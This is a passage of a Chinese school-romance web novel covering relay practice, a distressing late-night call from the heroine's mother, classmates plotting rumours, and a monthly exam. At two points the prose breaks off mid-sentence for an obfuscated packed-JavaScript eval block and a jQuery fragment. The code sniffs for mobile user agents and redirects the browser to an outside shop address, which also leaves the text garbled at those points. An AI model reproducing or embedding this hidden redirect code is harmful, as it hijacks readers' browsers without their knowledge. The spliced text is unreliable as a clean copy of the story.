“我要出去,你就跟我一块出去。” “刚才是谁说我重要的?” “是啊,是谁说你重要的?” 顾临钊思考了一阵,说:“忘了。” 傅弦音尾音上扬:“忘了?那我帮你回忆回忆。” 她伸出手指,点了点前面的空气:“是你哦,班长。” 顾临钊恍然大悟:“是我啊。” 傅弦音轻轻哼了一声:“后悔了?” 顾临钊有些遗憾地道:“是啊,后悔了。” 他勾勾唇角:“可是有人不许赖账的话,那就只能不后悔了。” 上天的垂怜是有限的。 命运或许这辈子也就眷顾她这一次。 既然如此—— 那么胆小鬼也想要勇敢一次。 * “弦音,今天晚上你还训练吗?” 晚自习下课,徐馨予收拾好书包问傅弦音。 傅弦音点点头:“练。” 徐馨予有些惊讶:“你还练?” 傅弦音好笑道:“对呀,你觉得我不会练吗,那你还过来问我。” 徐馨予摸摸鼻子:“我碰碰运气嘛,毕竟明天月考了,我感觉你可能今晚要去复习什么的。” 傅弦音笑笑:“明天就月考了,复习也不差这一个多小时了。” 还有一个原因傅弦音没明说。 那就是,运动能减轻失眠,明天就要月考了,傅弦音希望今晚的运动能让她睡个好觉。 徐馨予没被拒绝,还挺高兴:“那我们四个今晚要不要合一次,看看一起跑能跑多久?田恬说了,如果能跑到一分钟以内的话,我们还是很有希望拿牌子的。” 傅弦音点点头,说:“好啊。” 她快速收拾好了书包,和尹泽轩打了个招呼。程昭昭也刚好从后排走过来,她扯着陈念可的衣袖问:“走不走?” 陈念可摇头:“明天月考,今天不练了。” “回去复习吗?”傅弦音问她。 “不是啦。”程昭昭笑得猖狂:“她才不是为了回去复习,她是怕运动太累明天早上起不来错过考试。” 陈念可有些无奈:“真的,本来考试我就怕会起不来,要是晚上还运动再叠buff,我明天还真有可能就睡死过去了。” 傅弦音有些目瞪口呆,许久才叹道:“好牛逼的睡眠质量。” “那我们先走了啊,明早一块去吃饭。” 程昭昭挽着傅弦音的胳膊,冲着陈念可挥挥手,而后扬长而去。 路过门口时,傅弦音脚步顿了顿。 程昭昭也停下了步子,问道:“咋啦音音?” 傅弦音敲了敲顾临钊的桌子,问:“你今晚复习吗?” 顾临钊正在收拾书包,头都没抬地问了一句:“怎么?” 傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060469|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弦音:“要是不复习的话,去操场跑步吧。” 塞书的动作有一瞬间的停滞。 顾临钊抬起头,嘴角抑制不住地上扬。 “去啊。”他说:“什么时候说不陪你去了。” 或许是第二天就月考的缘故,操场上的人比前几天少了些。 程昭昭快速活动了一下就跟林安旭去测了一次200米,傅弦音在原地活动了一会,就被徐馨予和田恬带着去跑道上的位置站好。 她拿起书包,四处看了看,正犹豫要把书包放哪,一只手伸了过来,一把捞过了她的书包。 顾临钊拎着她的书包带子,扬扬下巴:“你先过去,书包我给你放。” 傅弦音走了两步,又回头冲他喊:“记得帮我拿下水杯。” 顾临钊早有预料似的,举起手中的水杯向她挥了挥。 徐馨予看看傅弦音,又回头看看顾临钊,再看看傅弦音,又忍不住回头看看顾临钊。 学校里,绯闻八卦这些东西是传的很快的。 自从上次文艺汇演过后,年纪里就不断有人在八卦傅弦音和顾临钊。 徐馨予还时常被外班的朋友问,他俩是不是真有什么。 她当时和傅弦音完全不熟,和顾临钊也就只是偶尔说两句话的关系。 在她的角度看来,这俩人完全没什么,不过就是走得稍微近一点的同学而已,毕竟同桌,熟一点很正常。 文艺汇演牵手那次后来她也知道了真相,是灯光晃得傅弦音眼睛睁不开,她差点一脚踩空,才被顾临钊拉了一把。 徐馨予当时还和外班的朋友说,她俩完全没有什么,外班的朋友知道了来自于她的第一手消息后还连叹可惜了好几天。 后来,月考换位把这两人换开,徐馨予就更不觉得俩人之间有什么不一样的了。 直到高姐给傅弦音报了4*100的接力,她和傅弦音开始一起训练。 如果说最开始,徐馨予撺掇傅弦音去找顾临钊借秒表之类的只是单纯想皮一下起哄一下。 那么现在,徐馨予的想法几乎是完全被改变了。 她和傅弦音接触这几天,也对傅弦音了解了更多。 傅弦音是一个绝对不会主动和人亲近的性格。 她不会主动去接近你,甚至会干脆利落的拒绝你。 而在此之前,徐馨予对顾临钊的了解也是类似的。 他也不是一个会主动和人亲近的性格。 那么两个这种性格的人凑在一块,要是能熟起来,必定要有一个主动。 不管是哪一个主动,好像都有些不太合常理。 而连续训练这几天,徐馨予很清楚地发现,是顾临钊在主动。 帮忙测成绩,给傅弦音递水,陪她训练。 如果只是普通朋友。 哪怕只是普通同桌。 徐馨予都觉得做不到这份上。 好奇是人的天性。 再说了,和顾临钊同学两年多,她从来没见过,也没听说过,顾临钊会对谁这样。 徐馨予没法不好奇。 傅弦音在最后一棒的位置站定。 田恬跟她多说了几句注意事项,准备走的时候看到了一脸纠结的徐馨予。 “你怎么了?” 田恬问道。 傅弦音也转过头来看她,问:“怎么了吗?” 女孩水亮的眼睛认真地看着她。 徐馨予抿了抿唇,摇了摇头。 她笑着,举手握拳,对傅弦音说:“好好跑,加油!” 傅弦音也冲她笑笑,说:“你也加油!” 田恬和她一块往各自的位置走。 路上,田恬问:“你刚才怎么了?” 徐馨予是很想问问傅弦音,她和顾临钊有没有什么。 可是这样直白的,当着人家的面问这种问题,徐馨予觉得总归是不太礼貌。 毕竟她俩也没熟到那个程度。 傅弦音长得好看,这两天一块训练的缘故,她也找傅弦音问了几次题,傅弦音也都耐心地给她讲了。 她挺喜欢傅弦音的。 她不想让傅弦音觉得她是个坏心眼又讨厌的人。 于是徐馨予伸了个懒腰,摇摇头:“没什么。” 既然她俩没熟到那个地步,那就不要问了。 真要是有那么一天,徐馨予想,傅弦音和顾临钊要是真在一起了。 那她就帮他们打打掩护。 40. 恃宠而骄 压力没有影响睡眠。 但是陈慧梅有。 傅弦音前一天晚上运动完回来洗完澡后连头发都没完全擦干就睡着了。 一直睡到手机响。 刺耳的铃声夹杂着振动,在枕头下方像是要爆炸一样。 傅弦音睡眼惺忪地摸出手机,以为是闹钟,瞟了一眼才发现是陈慧梅的电话。 她看了眼现在的时间。 凌晨四点。 傅弦音叹了口气,点了接听。 “喂,妈,怎么了吗?” 她眼睛还眯着,尾音还有点刚睡醒黏糊糊的调子。 “几点了傅弦音,你知道现在是几点了吗?” 陈慧梅严厉的声音从听筒传来,刺得傅弦音耳膜生疼。 她揉了揉自己的耳朵,缓缓吐出一口气。 “凌晨四点。”她回道。 陈慧梅:“你刚醒是不是,今天月考怎么还起得这么晚?你还想不想好,你对得起我吗傅弦音?” 她的声音嘈杂尖锐: “我拉扯你到现在,我给了你所有的一切,你就是这么报答我的吗?” “为什么不起来学习,你怎么还有脸在睡觉,你知不知道人家傅叶阳成绩有多好,你拿什么跟人家比!” 你要我拿什么跟傅叶阳比呢。 你又要我怎么来报答你呢。 我做的还不够吗。 诸如此类的话几乎是瞬间就要从傅弦音的口中冲出,但等她开口,她说出的话却是: “妈,你现在,在哪?” 陈慧梅的声音忽然降了音量。 她还在说话,还在念叨着傅弦音的不是,可声量语气听起来更像是自己说给自己听。 “陈慧梅。”傅弦音声音说不清的疲惫:“你——” 她想要指责陈慧梅。 想要和她吵架。 想要问问她到底哪里做的不够,想要问问她为什么凌晨四点要给自己打电话,想要问问她是不是要把自己逼成和她一样的疯子才满意。 可是傅弦音最终也只说出来了一句: “陈慧梅,你别让我担心你。” 那头的声音忽然停了。 傅弦音打开免提,把手机音量调到最大,依稀从听筒里听见了呼啸的风声。 她没说话。 她不敢说话。 半晌,陈慧梅疲惫的声音才响起: “别担心我,”她语调平静,没了刚才歇斯底里的疯态,她说:“好好复习吧。” 说完,电话被挂断。 运动对她睡眠质量的提升不足以让她在凌晨四点听完陈慧梅发的这一阵疯之后还能睡着。 傅弦音想把灯打开,可是身子却不听使唤地陷在床里。 于是她就躺在黑暗里,看着被风吹起一角的窗帘,看着窗外漆黑的夜色。 莫名地,她想起来了周六的时候,在咖啡店里,顾临钊和她说过的话。 他说他担心她。 因为她重要。 那她担心陈慧梅是为什么。 也是因为陈慧梅于她而言重要吗? 傅弦音忽然感觉到很无力。 她觉得陈慧梅重要。 陈慧梅这样对她,她怎么还会觉得陈慧梅重要,怎么还会担心陈慧梅。 她做了许多的努力,想要跑,想要逃,想要抛开扔下所有一切的牵绊与藤蔓。 可是兜兜转转,她却只不过像是翻不出如来佛掌心的孙悟空一样。 还在原地。 走不出分毫。 傅弦音就静静地在床上躺着,看着浓稠的夜色被一点点稀释,熟悉的闹铃声也终于响起。 她按灭闹钟,收拾好书包,在女寝一楼等程昭昭和陈念可。 “音音!” 陈念可打着哈欠挥了挥手,她拎着书包,一屁股在傅弦音身边的位置坐下。 “你怎么起这么早?”傅弦音有些讶异。 陈念可抱着她的胳膊,整个人靠在她身上后尤嫌不过瘾似的,又往她这凑了凑,脸都埋在她肩膀处。 陈念可闷闷道:“我隔五分钟就定了个闹钟,睡不着了。” 她打了个哈欠,问:“你怎么起得来的啊,我要困死了。” 傅弦音抿抿唇,如是说:“我有点失眠,起不难,睡着难。” 陈念可叹气:“家家有本难念的经。” 傅弦音手里拿着积累的写作素材,有一搭没一搭地看着,陈念可整个人几乎像树袋熊似的扒在她身上,似乎是又睡着了。 两人等了一会,程昭昭这才风风火火地跑过来。 “妈呀吓死我了,我还以为我睡过了,走走走去食堂,你俩今天想吃什么?” 陈念可打着哈欠,伸了个大大的懒腰:“吃茶叶蛋煎蛋和油条吧,一百分。” 傅弦音买了粥和卷饼,端着半碗粥进教室的时候,教室里已经有了大半的人。 早读还没开始,原本应该有些闹的教室却因为月考,大多数人都在桌前争分夺秒的复习。 傅弦音最后过了一遍不是很熟悉的文言文和古诗之后,教室里响起了挪动桌椅板凳的声音。 考场按照上次月考的成绩来排,傅弦音上次考了年级第一,倒是不用再去最后一个考场。 尹泽轩收拾好了东西,看了眼身边的人,说:“我们一块过去吧,我在二班考。” “行。” 傅弦音答应的很痛快。 她收拾好了东西,前门已经陆陆续续有别班学生进考场找座位,傅弦音下意识就想从后门绕出去,步子都迈出去了,整个人却忽然顿住。 “走前门吧。”她说。 尹泽轩好心指了指后门:“前门学生在进,后门人少点。” “我知道。”傅弦音抿了抿唇,她抬手往前门那指了指:“我和顾临钊一个考场,我跟他说声。” 尹泽轩恍然大悟:“你跟他约好了一块走啊。” 傅弦音顿时语塞。 她也……没跟顾临钊约好一块走。 她就是单纯觉得,既然她和顾临钊一个考场,那他俩肯定得一块过去。 等等。 傅弦音忽然制止了自己想法。 什么叫肯定。 谁跟她肯定。 她凭什么肯定。 心脏扑通扑通,傅弦音又朝前门看了一眼,顾临钊已经收拾好了书包,正准备起身。 傅弦音就这么看着他。 讲台前后两条路都被堵死了,尹泽轩扯扯傅弦音的袖子,说:“要不我们从后门绕出去跟他说,讲台那边不太好过。” “……好。” 傅弦音点点头,原本提起的心落回了肚子里,可她却不觉得轻松,只觉得心脏的位置有些空。 于是她又抬头看向顾临钊。 似乎是人被盯着的时候会有感觉,又或者一切都是巧合。 顾临钊忽然转过头,和她对视。 原本沉寂片刻的心脏忽然敲锣打鼓似的在她胸腔里剧烈跳动。 傅弦音感觉自己呼吸都微微急促了些。 她下意识想低头,想挪开视线。 可是这一次,理智占了上风。 她没转身,也没回头。 而是抬起手,冲着顾临钊指了指前门。 少年嘴角轻轻勾起,明明离得远,可傅弦音还是恍惚间在他眼底看到了笑意。 后门的路要通畅很多。 傅弦音和尹泽轩刚从后门捞出,就迎面撞见顾临钊。 他扬扬下巴:“走边上的楼梯,近点。” 一班和二班都在走廊偏尽头的位置,傅弦音点点头,手指捏着书包带,有一搭没一搭地搓着。 顾临钊问:“复习的怎么样?” 傅弦音懒洋洋回:“语文还可以,应该问题不大。” 顾临钊轻笑一声:“毕竟是139。” 傅弦音“啧”了一声 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顾临钊:“说你考139你也不高兴,说你不考139你也不高兴。” 他忽然轻笑一声,语调带着不自觉的迁就:“那你说说,怎么样你才高兴。” 傅弦音认真地想了想,说:“你得真心实意地祝我还能考年级第一,还能考过你,而且是远远超过你,把你甩在身后一大截。” 如果傅弦音这时候看了尹泽轩一眼,就能发现他脸上写着“这是能说的吗?!” 然而她没有。 面前的台阶还有几级,傅弦音忽然从楼梯上往下一跳,而后转过身,仰着脑袋,有些挑衅又有些期待地看着顾临钊。 尹泽轩也不由得停住了脚步。 他站在楼梯上,视线悄悄落在傅弦音身上。 阳光从窗外斜斜打进来,照得傅弦音原本就白皙的面颊更显盈亮。 一双猫儿似的眼睛狡黠地眨着,挺翘的鼻尖上落了半点日光。 尹泽轩甚至有一瞬间的愣神。 耳边响起顾临钊的声音: “我,真心实意地,祝你,再考一次年级第一。” “总分远远超过我,把我甩在身后一大截。” “每一科的成绩都比我高,每一科都超常发挥。” 面前的女孩满意地笑了。 她歪歪脑袋,眼睛笑得弯弯,红润的嘴唇开合,说道:“这还差不多。” 楼梯口人来人往,傅弦音冲着台阶上的两人招了招手:“快走快走,早点进考场还能再看两眼呢,别来不及了。” 尹泽轩回过神,低声说:“来了。” 楼梯口正对着的是第一考场,尹泽轩是第二考场,还要再往里走一段。 傅弦音把书包随手放在走廊边,有些好奇地问尹泽轩:“你怎么了?” 尹泽轩想到了刚才脑子里冒出来的那个“恃宠而骄”,有些苦涩道:“没什么,就是觉得语文可能要完蛋了。” “呸呸呸。” 傅弦音笑着说:“都还没考呢,别说不吉利的话,你肯定能考好的。” 她举起拳头晃了晃,对尹泽轩道:“加油啊,好好考!” 尹泽轩点点头:“我会的,争取下次期中考试……和你们俩一个考场。” 傅弦音:“肯定可以的,下次就不用多走一段路了,拜拜。” 尹泽轩冲她挥挥手,转身朝着第二考场走去。 身后响起了两人逐渐远去的声音: “不祝我考试顺利吗?” “祝你考试顺利。” “啧,这么没诚意。” “你刚才还咒我语文考不了139!” “我后面还有一句话呢,急什么。” “什么话?” “祝傅弦音同学语文考到140。” 41. 密谋 午休。 傅弦音趴在桌子上,争分夺秒地复习化学。 午饭时间,教室一个人都没有,傅弦音自己也乐得个清净,她在桌上翻之前复印的顾临钊的化学笔记,翻了半天没找到,傅弦音犹豫了一下,起身往顾临钊的座位走。 她之前也有找不到复印笔记或者试卷的情况,和顾临钊说了后,顾临钊就让她找不到的东西去他桌子翻。 他说了好几遍,但傅弦音从来没去翻过。她总觉得这个举动有点过于亲近,于是都是等着顾临钊回来了让他找。 这还是她第一次去顾临钊桌上翻东西。 午饭时间,教室除了她空无一人,一片静悄悄。 傅弦音甚至觉得自己像是个小偷。 考试的缘故,顾临钊桌子上所有的笔记都被搬到对面活动室了,她坐下对着空荡荡的桌子大眼瞪小眼时才反应过来。 正好手上的笔记还有一点没看完。 傅弦音懒症发作,不想动弹,就坐在顾临钊桌子上有一搭没一搭地看着化学笔记。 考试考了一上午,脑子高强度运转,现在有些昏昏沉沉。以至于傅弦音一直引以为傲的极高的学习效率都没那么高了。 她到也没跟自己过不去,目光还是落在笔记上。本着多看一眼是一眼,多学一点是一点的心态,翻看着剩下的笔记。 微凉的风从前门的门缝灌进来,吹乱了傅弦音耳边的碎发,转而又猛烈地将前门关死,发出嘭地一声巨响。 傅弦音抬手把碎发掖回耳后,却忽然听到了一道压低嗓音的说话声: “这些东西,你确定能行?” 是纪逐渺。 什么东西,什么行不行,搞什么神秘呢。 傅弦音被勾起了些好奇心。 她往桌子前面趴了趴,下一秒,一道熟悉的声线传来—— 是吴嘉程。 他说: “放心,都说了,我以前跟她一个学校的,这些东西在那管用,在这肯定也管用。” “你们北川比我们校规校纪还严,在这肯定能闹得更大。” 傅弦音:…… 原来不是要搞神秘,是要搞她傅弦音。 造黄谣这一套,吴嘉程从临澜用到北川,也是真不嫌腻。 傅弦音轻轻叹了口气,正准备继续复习,门口两人的声音再次响起。 吴嘉程有些好奇地问:“不过,你和傅弦音有过节?你怎么这么讨厌她。” 他有些恶趣味地笑:“我可只听说她和宋瑶歌有点不对付啊,你该不会是为了替宋瑶歌出头吧,还真是个衷心的小跟班呢。” 纪逐渺轻嗤一声,反问道:“那你呢?为了傅弦音,从临澜追到北川,你就这么恨她?” 吴嘉程不屑:“什么叫为了傅弦音从临澜追到北川,我转来北川和她一个学校就是凑巧,她也配我专门过来搞她?” 傅弦音翻了个白眼。 什么叫也配他专门过来。 当时不是他自己过来跟她说,什么别以为你转去了别的学校我就拿你没办法之类的。 “你还没回答我的问题。” 吴嘉程有些不依不饶:“你为什么讨厌傅弦音。” 纪逐渺沉默了。 傅弦音好奇了。 她心痒难耐,慢慢合上了化学笔记,竖起耳朵听门外的动静。 不知过了多久,纪逐渺轻声开口:“因为她什么都有。” 她声音平静无比,像是在叙述一件和自己完全无关的事情,全然听不出任何的情绪。 “优异的成绩,漂亮的脸,富裕的家庭,老师的喜欢,还有顾临钊的偏爱。” “她什么都没做,就什么都有,凭什么呢?” “我说完了。”纪逐渺说:“该你了,你为什么讨厌她?” 吴嘉程哼了一声:“我最看不惯的就是她那副装清高的样子,明明背地里什么都干了,表面却还要装出一副高高在上的模样……” 傅弦音听到这里就没有再听下去了。 她怕自己再听下去会忍不住笑出声。 活了这么多年。 倒还是第一次有人夸她不需要努力就能拥有一切。 倒也算是一种人生新体验了。 门口两人不知道又说了写什么,傅弦音无心再听,她一遍看着笔记,一遍在草稿纸上涂涂画画。 突然,教室门被人推开,走廊呼啸的风立刻席卷而来,傅弦音被风吹得一个激灵,下意识抬头,却忽然和纪逐渺视线相对。 纪逐渺的表情凝在脸上,推门的动作也僵在原地。 傅弦音……怎么会坐在这里? 这不是顾临钊的位置吗? 她为什么会坐在顾临钊的位置上。 刚才她和吴嘉程的谈话,她又听到了多少? 一个接一个的问题冲击着纪逐渺的大脑,她紧张地吞了口唾沫,却看见傅弦音手指支着脑袋,唇角微微勾起,好整以暇地看着她。 纪逐渺的脑子里几乎瞬间就有了答案—— 她听见了。 她全都听见了! 纪逐渺咬着嘴里的软肉,忽然,她往前走了一步,站在傅弦音面前。 她说:“吴嘉程把所有的事都跟我说了。” 她说完就死死盯着傅弦音,不放过傅弦音脸上的每一个表情。 惊慌,担忧,甚至是一丝烦躁。 这都是纪逐渺期待在傅弦音脸上看见的。 可是她只看到了傅弦音轻轻弯了弯唇角,像是听到什么好笑的事情般,点了点头,问:“嗯,然后呢?” 纪逐渺只是看着她。 良久,傅弦音嗤笑一声:“你跟我说这些是什么意思,是想让我害怕,担心,然后因此考砸吗?” 纪逐渺猛然瞪大双眼。 然而傅弦音却没有轻易放过她。 她说: “可是我不是很明白,就算我考砸了,年级第一也不会落到你身上。甚至你总排名都不会因为我考砸而进步,因为我就算考砸也绝对比你考的好。” “你要是想排名进步,直接下药把前几个考场的人毒死好像来得快些。” 她用最轻松自如的语气,说出了最不留情面的话。 纪逐渺只感觉自己的脸颊都在发烫,指甲狠狠抓紧掌心,疼痛让她的眼泪只是在眼眶里打转,而没有掉下来。 她脑子里只有一个想法—— 羞辱,傅弦音在羞辱她。 傅弦音的羞辱像是一道密不透风的海浪,将她狠狠淹没,让她无法呼吸。 她再也没有勇气站在傅弦音面前和她对峙,连对视都不能。 纪逐渺逃也似的离开了。 傅弦音看了眼半开的门,听着走廊渐渐远去的脚步声,而后缓缓收回了目光。 她趴在桌子上,脑袋枕在左胳膊上,右手慢慢翻着错题集。 或许是早上起得太早,傅弦音看了没一会就感觉眼皮变沉,周遭好像逐渐有同学进班午休,微微的嘈杂仿佛助眠的白噪音,傅弦音没一会就睡着了。 忽然,脸颊上被盖了一片冰凉,冰凉一触即分,傅弦音迷迷糊糊地睁开眼,仰头看见顾临钊毫不掩饰的笑。 “快点,起来吃饭了。” 傅弦音眨巴眨巴眼睛,默不作声地又把脑袋埋回臂弯,丝毫没有起来的打算。 “不吃饭不行,下午还得考试,快点起来了。” “嗯——” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060471|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声黏黏糊糊,顾临钊莫名觉得像只在哼哼唧唧的小猫。 他还是头一回见傅弦音这么乖。 是真可爱。 顾临钊心道。 但是可爱不能当饭吃。 顾临钊啧了一声,又把冰的杨枝甘露贴在了傅弦音脸上。 冰凉的触感带来些许不适,傅弦音这会不光没抬头,有些不满地哼了声后,甚至把脸埋得更深了些。 顾临钊觉得自己脾气都磨没了。 他蹲在桌边,似哄似劝:“考完晚上回去睡,实在不行你吃完再睡行不行?多少得吃点,杨枝甘露都给你买了,听话。” “起起起——” 傅弦音撑起身子,接过冰凉的杨枝甘露贴在脸上,强行用冰冷刺激自己开机。 顾临钊熟练地把她笔记收好,把饭放在傅弦音面前。 他问:“怎么来这坐了?” 傅弦音插好吸管,猛吸了一大口杨枝甘露,说:“有本笔记找不着了,想过来翻你的,坐过来才想起来你东西都放对面教室了,我也懒得动弹,就坐这等你回来再说了。” 顾临钊:“那你是坐这吃还是去对面活动室吃?” 傅弦音:“坐这,我不想动。” 顾临钊笑骂:“懒死你了。” 话虽这么说,但他仍然认命地起身去找本子了。 热干面吃了一半,傅弦音忽然觉得有点什么不对劲。 她坐着顾临钊的座位,喝着顾临钊买的杨枝甘露,吃着顾临钊买的热干面,还使唤顾临钊去找笔记给她看,找的还是顾临钊自己写的笔记。 她何德何能,让顾少爷这么对她。 这个念头一出,傅弦音顿时心底一片愧疚。 饭也不香了,杨枝甘露也不甜了,就连手中的笔都不好用了,写了几笔都不出墨。 傅弦音叹了口气,正准备起身去对面活动室,人才刚站起来,顾临钊就拿着本子进来了。 于是傅弦音只好一屁股再坐回去。 这一下给顾临钊看乐了。 他把笔记往桌上一放,笑道:“运动呢?” 傅弦音点点头:“有氧呢。” 她接过笔记,三两口吃完剩下的热干面,翻开继续看,可不知怎么,笔记上的字仿佛在跳动飞舞,傅弦音一点也看不进去。 傅弦音合上本子,再次打开。 结果还是一样。 她叹了口气,把热干面的袋子系好,还没来得及做下一个动作,旁边一只胳膊伸来,极其顺手地把袋子拎过去了。 傅弦音:“干嘛?” 顾临钊一脸莫名:“什么?” 他反应过来,有些奇怪:“平时不都是我给你扔吗?” 傅弦音:…… 她内心重重地叹了口气。 傅弦音啊傅弦音,你要不要看看你把顾少爷都使唤成什么样了。 给你带饭找笔记就不说了,就连给你扔垃圾都当成习惯了。 傅弦音内心忽然有一阵内疚。 不、不止是内疚。 好像…… 还夹杂着一点奇奇怪怪的酸涩。 她朝着顾临钊伸手,说:“我自己扔吧,孩子大了,该锻炼锻炼了。” 顾临钊答应的很痛快:“行。” 说完,他合上笔帽,说:“那你收拾书包,去操场走走吧。” 傅弦音的胳膊僵在半空。 她缓慢地歪了歪脑袋,脑门却冷不丁地被顾临钊用笔不轻不重地敲了一下。 半仙技能再一次发动了。 顾半仙把笔袋和笔记放回书包,扬扬下巴,说: “不是看不进去了想去散散心吗?” “走,陪你溜达溜达。” 42. 我们 午休时间,操场的人却没少多少。 正午本该是日头最毒的时候,今天却讨了个巧,厚厚的云层遮住了太阳,没有晒到让人睁不开眼,连刮来的风都是凉爽的。 十月下旬的天已经有了些骤然变冷的趋势,前几天还在穿短袖,这几天傅弦音已经把薄毛衫穿上了。 杨枝甘露加了冰,再加上冷飕飕的风一吹,傅弦音手指冻得冰凉。 她把袖子抻了抻,换了只手拿杯子,另一只手则放在自己温热的脖颈处降温。 “下次给你买常温的?” 旁边顾临钊的声音冷不丁地插进来,傅弦音头摇成拨浪鼓: “不要,常温的杨枝甘露不能喝了。” 她转头,狐疑地看向顾临钊:“你别告诉我你秋冬天喝热水,我才不信。” 顾临钊懒散地笑笑:“怎么就不信,我生活方式比你健康多了好吧。” 傅弦音撇撇嘴,悄悄翻了个白眼。 书包被放在树荫下,操场上不时有三三两两的人在走着。 傅弦音仰头看了看天,突然叹了口气。 顾临钊:“好端端的叹什么气?” 傅弦音:“因为我不好端端的。” 顾临钊已经习惯了她不说人话的样子,他熟练地揪出傅弦音话里的重点,问道: “怕考不好么?” “怕。”傅弦音说:“我真的怕死了。” 她语气有些夸张,是她那种一如既往不说人话的调调。 但顾临钊就是能听出来她说的是实话。 他问:“那干点什么你会高兴点呢?” 傅弦音喝杨枝甘露的动作一顿。 她停下步子,缓慢的转身,身旁的人察觉到她的动作,也配合地停在原地。 “真是太阳打西边出来了。”傅弦音说:“你一向是直接带着我去做这做那,这还是头一回,你问我想干点什么。” 傅弦音伸出一根手指,在顾临钊眼前晃了晃。她加重语气道:“头一回。” 顾临钊笑:“行了啊,别说得像我欺负你似的。” 他看着傅弦音,等她说后面的内容。 认识傅弦音这么久,他已经很熟悉傅弦音的说话方式。 就譬如现在。 他感觉到了傅弦音想和他说点什么。 不是插科打诨的,也不是漫无边际的。 是那种稍微带点真心,带点掏心窝子的话。 真行啊,顾临钊。 他在心里对自己说。 也算给你熬到这一步了。 她不再什么都藏着掖着,不再什么都刻意回避着他。 她会想和他说点什么,甚至是想和他一起做点什么。 虽然按照傅弦音的性格,她不一定真的会说,也不一定真的会做。 但是至少此时此刻,顾临钊感受到了她那点不算微弱的倾向与趋势。 这就够了。 他想。 他其实是,很容易满足的。 习惯都是要慢慢养成的。 她能动这个念头,能不把他再往外推,顾临钊已经很知足了。 然而上天眷顾他不止一点。 他听见傅弦音轻声问:“为什么呢?” “为什么这一次,不一样了呢?” 顾临钊缓缓开口:“因为在之前,你不会把我纳入考虑范围内。” 傅弦音一怔。 只听他继续道:“或许是你不想和我一起干点什么,也或许是你经常不高兴,你从来没有想过要怎么去解决不高兴。” “这对你来说不是什么问题,只是常态。不需要解决。” 傅弦音嘴角提了提。 顾半仙说的是…… 真准啊。 情绪这样隐秘的东西,傅弦音从来不想主动暴露给别人看。 自己说出来是一回事,对方感受到是另一回事。 陈慧梅、傅东远、争吵、压力…… 她好像已经习惯了,又好像是,已经麻木了。 麻木到习以为常,麻木到不需要解决。 她说:“那你还……” 傅弦音声音很低,像是自言自语,但顾临钊却听了个清楚。 他耸了耸肩膀,声音比秋风还要舒朗几分:“因为我想让你高兴点。” 不知道为什么,傅弦音忽然感觉心跳停了一拍。 她莫名想到上周六,在咖啡店,她也是这幅上不得台面的样子问顾临钊为什么。 顾临钊当时说的什么来着。 他说: “我会担心你。” “因为你对我重要。” 傅弦音觉得自己心里好像有一根小小的引线,被人在末端点上了火星,火星滋啦滋啦的烧,引线一截截变短。 而引线的另一端是什么。 炸药,炮仗,还是漫天金纸雨,又或者是超级大礼包。 傅弦音不知道。 心的另一半被浓重的雾气遮盖,出现在她视线内的,只有这一截短短的引线。 是趁着火苗刚刚燃起,立即熄灭。 还是让着引线完全燃尽,去赌一把另一端的东西。 傅弦音一直称自己是只赌狗。 可现在,一向胆大的赌狗却突然胆怯了起来。 她突然在想,自己的筹码能不能供她赌上这一把。 一无所有的穷光蛋和家财万贯的富大款都不会计较这些筹码。 因为他们要么没什么东西可失去,要么没什么东西怕失去。 傅弦音一直以来都是前者。 她敢赌,是因为赌输了也没什么,现在已经很糟,再糟一点也没什么。 但那是过去。 现在的她,手上忽然出现了一些筹码。 明明不再是一无所有,可她反而更加胆怯。 她不想失去这些筹码,可是手握筹码的感觉实在太好太好,好到她又忍不住想要更多。 轻柔的音乐钻进耳朵,傅弦音方才回神。 顾临钊:“午休铃响了,走了,去考试。” 操场上的人陆陆续续回到教学楼,傅弦音和他并排走着。 一路上,她一句话都没说。 直到进了教学楼,在教室外走廊间,傅弦音忽然开口: “如果,我是说如果,你一直是步行,突然有一天你有了一辆单车,现在两个选择摆在你面前,一种是就保留单车,虽然不确定这辆单车能用多久,会不会坏,而另一种是赌一把,赢了单车变摩托,输了单车都没有。” 她顿了顿,抬头看着顾临钊,问道: “如果是你,你会怎么选?” “你会赌吗?” 顾临钊放下书包,垂眸和她对视。 他说:“那要看这辆单车对我重不重要了。” 傅弦音:“你不想冒险。” 他那么稳妥的一个人,不会去赌的。 顾临钊没否认,而是反问她:“你呢?” 傅弦音说:“我想要更多,但我又怕到了最后我连一辆单车都没有。” 顾临钊点点头,说:“所以你想冒险。” 傅弦音被他说得愣住了。 顾半仙这是开大了吗? 怎么读心术比她自己还要准。 “那就赌。”顾半仙说。 傅弦音问:“所以你给我的建议是赌。” “不是。”顾临钊否认:“我给你的建议不是去赌,我给你的建议是做你想做的。” “你想要摩托,那就去搏一搏。” 傅弦音问:“可要是最后单车都没有了呢?” “不会没有单车的。”顾临钊看着她,认真地说: “傅弦音,我给你兜着底。” * 考试时间过得很快。 傅弦音和顾临钊的座次挨在一起,一前一后。顾临钊看出她有心事,发卷子前还专门拍了拍她的肩膀,低声说了句: “加油,好好考。” 但事实证明,是顾临钊多虑了。 繁杂的心事在拿到试卷的那一瞬间就烟消云散,根本不会对傅弦音造成任何一点影响。 客观来讲,这次月考的卷子总体难度上比上次的月考要高些。 其他科目都还好,傅弦音做起来还算是游刃有余。 唯独化学例外。 